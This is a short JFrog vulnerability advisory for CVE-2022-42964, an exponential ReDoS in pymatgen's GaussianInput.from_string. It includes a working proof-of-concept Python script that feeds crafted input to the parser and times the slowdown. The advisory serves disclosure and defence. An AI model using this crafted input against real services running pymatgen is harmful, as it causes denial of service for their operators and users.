CVE-2022-42964: pymatgen ReDoS | XRAY-257184

CVE-2022-42964 | CVSS 5.9

JFrog Severity:medium

Published 15 Oct. 2022 | Last updated 15 Oct. 2022

Exponential ReDoS in pymatgen leads to denial of service

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An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the pymatgen PyPI package, when an attacker is able to supply arbitrary input to the GaussianInput.from_string method

import time
from pymatgen.io.gaussian import GaussianInput

def str_and_from_string(i):
    ans = """#P HF/6-31G(d) SCF=Tight SP

H4 C1

0 1
"""
    vulnerable_input = ans + 'C'+'0' * i + '!'+'\n'
    GaussianInput.from_string(vulnerable_input)

for i in range(1000):
    start = time.time()
    str_and_from_string(i)
    print(f"{i}: Done in {time.time() - start}")

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